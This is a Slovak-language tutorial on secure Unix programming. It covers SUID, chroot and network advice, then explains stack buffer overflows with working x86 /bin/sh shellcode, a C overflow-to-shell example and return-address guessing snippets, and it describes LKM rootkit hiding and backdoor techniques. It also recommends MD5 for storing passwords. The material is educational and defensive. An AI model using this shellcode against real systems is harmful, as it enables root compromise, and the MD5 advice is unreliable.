"Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd. Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.
Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.
Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog treba kontrolovat dlzku parametrov predavanych syslogu.
Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je schopny najst zakladne chyby.
Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat. Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit a az potom fchown(), fchmod(), alebo fstat().
Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat volani system() a popen().
Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove hlasenia.
Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych pre ostatnych uzivatelov (samozrejme pokial je to mozne).
Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov, ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale na nase ucely posluzi velmi dobre.
Tvorba sietovych aplikacii
Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().
Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).
Nedoverovat paketom len kvoli ich IP adrese.
Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.
Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.
Rozumne nastavovat timeouty na read/write zo siete.
Samozrejme treba dokladne kontrolovat vstup na velkost.
Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.
Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.
Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.
Logovanie do suboru/syslogu by mala byt samozrejmost.
Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).
Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.
Pisanie SUID/SGID programov
Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)
Nepiste SUID SHELL scripty.
Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie pomocou skupinovych prav.
Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0, vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID program, ktory bude svedomite kontrolovat vstup z hlavneho programu. Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.
Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.
Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne sa tak zvysuje riziko chyby.
Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami. Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad: putenv("PATH=/bin:/usr/bin"); putenv("IFS= \t\n"); Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v systeme nenachadzaju aj dalsie zmienky o tychto premennych.
Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania execve(), exevc() a excl() a aj to s maximalnou opatrnostou. Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.
Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho prikazu nezabudnite na setgid(getid()) a setuid(getuid()).
Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa na aktualnu cestu po spusteni.
Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.
Pouzitie funkcie chroot()
Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot(). Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa zamedzi pristupu do vyssich adresarov v stromovej strukture systemu. V pripade ze vas program potrebuje zdielane kniznice, musite mu ich nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky. Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log. Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote nechate naozaj len prikazy a subory, ktore tam nutne musia byt.
Buffer Overflow
Priklad pretecenia buffra:
void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); }/pr.0xb.1/
Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string. To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:
+-----------------------+ +-----------------------+|,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|+-----------------------+ +-----------------------+|.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..|+-----------------------+ +-----------------------+| *str | | strcpy() sa pokusi |+-----------------------+ | zapisat 256 bajtov do || ret | ^ | do buffra,cim prepise |+-----------------------+ | | sftp, ret a *str. || sfp | | | |+-----------------------+ | +-----------------------+| buffer[16] | | | buffer[16] || | | | |+-----------------------+ +-----------------------+|.......heap............| |.......heap............|+-----------------------+ +-----------------------+|,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|+-----------------------+ +-----------------------+ pred zavolanim strcpy() po zavolani strcpy()
Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu a preto je ukonceny s hlaskou Segmentation Fault.
Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte. Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu, ktora moze spustit lubovolny kod v zasobniku.
Shell kod
Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu, ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych UNIXovych systemoch a je predvoleny shell pre uzivatela root.
Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.
To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme. Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:
1. V pamati sa vyskytuje nulou zakonceny string /bin/sh
2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom
3. 0xb sa kopiruje do EAX registra
4. Adresa stringu /bin/sh sa zkopiruje do EBX registra
5. Adresa stringu /bin/sh sa zkopiruje do ECX registra
6. Adresa nuloveho long-wordu sa skopiruje do EDX registra
7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
8. 0x1 sa nakopiruje do EAX registra
9. 0x0 sa nakopiruje do EBX registra
a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
Kombinacia prikladu buffer overflowu a shell kodu:
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */ /* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */ for( i = 0; i < 32; i++) *(long_ptr + i ) = (int) buffer; /* zkopiruj shell kod do large_stringu */ for( i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* buffer dostane shell kod a 32 pointerov spat na seba sameho */ strcpy(buffer,large_string); }/pr.0xc.1/
Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati, kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string. Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie. Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho. Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).
+-----------------------+ +-----------------------+ |,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,| +-----------------------+ +-----------------------+ | uzivatelsky zasobnik | | uzivatelsky zasobnik | +-----------------------+ +-----------------------+ | ret | | o ^ ret | +-----------------------+ +-s--v--|---------------+ | sfp | | t e | sfp | +-----------------------+ +-r--r--|---------------+ /----- | long_ptr | | c f | long_ptr|| +-----------------------+ +-p--l--|---------------+|(x32) | i | | y o | i || +-----------------------+ +----w--|---------------+| /-- | buffer | /-> | | buffer || | +-----------------------+ | +-----------------------+| \-> | | \-- | || | | | | \----> | large_string[128] | | large_string[128] | | | | | /-> | | /-> | | | +-----------------------+ | +-----------------------+ \-- | shellcode[] | \-- | shellcode[] | | | | | +-----------------------+ +-----------------------+ |.......heap............| |.......heap............| +-----------------------+ +-----------------------+ |,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,| +-----------------------+ +-----------------------+ pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisany
Realny stack smashing
V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :) Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia, alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa zvykne ulozit do premennej prostredia.
Pisanie exploitov vyuzivajucich preplnenie zasobnika
Zopakujme si rozlozenie zasobniku:
+4 bajty | parametre ... | +-----------------------+ +4 bajty | navratova adresa | velkost 4 bajty +-----------------------+ SP | base pointer | velkost 4 bajty +-----------------------+ -1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |
Zopakujme si princip buffer overflowu:
Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do pole2 musime zapisat 1032 bajtov (1024+4+4)
+4 bajty | parametre ... | +-----------------------+ +4 bajty | 4 krat "X" | velkost 4 bajty +-----------------------+ SP | 4 krat "X" | velkost 4 bajty +-----------------------+ -1024 bajtov | 1024 krat "X" | velkost 1024 bajtov +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |
Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu. Napriklad takto:
+4 bajty | parametre ... | +-----------------------+ +4 bajty | adresa shell kodu | ---\ +-----------------------+ | SP | 4 nevyznamne bajty | | +-----------------------+ | -1024 bajtov | shell kod | <--/ +-----------------------+ -2048 bajtov | lokalne pole1[1024] | +-----------------------+ | ... |
Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna, ktoru ideme prepisat, ba aj o cosi dlhsi ;-).
Presne o 8 bajtov - base pointer (4bajty) + ret adresa(4bajty).
Linearny diagram by mohol vyzerat asi takto: .... ...
Priklad upravy x86 shell kodu:
#define lv_size=1024; /* dlzka premennej, na ktoru utocime */char buffer[lv_size+8]; /* pozicia navratovej adresy */ /* execshell je pole s nasim shell kodom */for(i=0;i<lv_size-strlen(execshell);i++) ptr[i]=0x90;for(i=0;i<strlen(execshell);i++) ptr[i+lv_size-strlen(execshell)]=execshell[i];
Pripadne elegantnejsi sposob:
#define lv_size=1024char buffer[lv_size+8]memset(ptr,0x90,lv_size-strlen(execshell));ptr+=lv_size-strlen(execshell);for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i];
Pre ine platformy ma instrukcia NOP (0x90) iny opcode.
Ziskanie realnej adresy zasobnika
Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy nazvyme OSP - Original Stack Pointer. K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich -ov a po ich vykonani spustilo aj nas shell kod.
+4 bajty | parametre ... | +-----------------------+ +4 bajty | adresa OSP + offset | ---\ +-----------------------+ | SP | 4 nevyznamne bajty | | +-----------------------+ | -1024 bajtov | [shell kod] | | | [nop] | | | [nop] | ---/ OSP + offset | [nop] | -------\ | [nop] | | offset | [...] | | vacsi +-----------------------+ | ako -2048 bajtov | lokalne pole1[1024] | | 1024 OSP -> +-----------------------+ -------/ | ... |
V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu. Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili. Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto: function unsigned long get_sp(void) { int x; return (unsigned long) &x; } Prvy Priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */ptr2=(long *)ptr;*ptr2=get_sp()+offset;
Druhy (robustnejsi) priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */ptr2=(long *)ptr;for(i=1;<8;i++) *(ptr2++)=get_sp()+offset;
Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;
Moduly jadra
Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme. Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly, ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju administratora a pripadne pokus o utok zastavia.
Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module. Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table, aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.
Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM. To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).
Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.
Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:
maskovacie funkcie: po zavedeni do jadra zmodifikuje struct module *mp a get_kernel_symbols(2), takze sa nezobrazi v /proc/modules alebo vystume ksyms. Neda sa unloadnut z jadra.
utajenie sniffra: zmeni ioctl(2), takze PROMISC priznak bude schovany. Sniffer musi byt spusteny pred zavedenim tohoto modulu.
zmiznutie suborov: systemove volanie getdents(2) budu tiez zmenene, takze subory obsahujuce dane slovo budu neviditelne.
maskovanie procesov: podobne ako maskovanie suborov - procesy obsahujuce dane argv polozky sa nebudu zobrazovat a nenajdeme ich ani v /proc/ filesysteme
presmerovanie execve: ked sa ma spustit definovany program, tento modul spusti miesto neho iny program. Pouziva volanie brk(2) specialnym sposobom, na zvacsenie datoveho segmentu programu este pokial je v kernel rezime. To je 'vymozenost' linuxu.
socket recvfrom() backdoor: po prichode packetu, ktory ma danu velkost a obsahuje dany retazec, spusti sa program. Vacsniou ide o shellovsky skript, ktory spusti bindshell.
setuid() trojan: po spusteni suid programu s konkretnym uid, volajuci proces dostane uid = euid = gid = 0
Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu privilegii jednotlivych uzivatelov a procesov.
Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra. Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).
Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.
Pouzita literatura:
Historia Unixu
http://cm.bell-labs.com/cm/cs/who/dmr/hist.html
http://www.english.uga.edu/hc/unixhistory.html
Popis programatorskych chyb
http://www.tuxedo.org
Popis stack smashingu
Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps
Pisanie stack overflow exploitov
PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX
Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]
Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]
O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]
Komentáre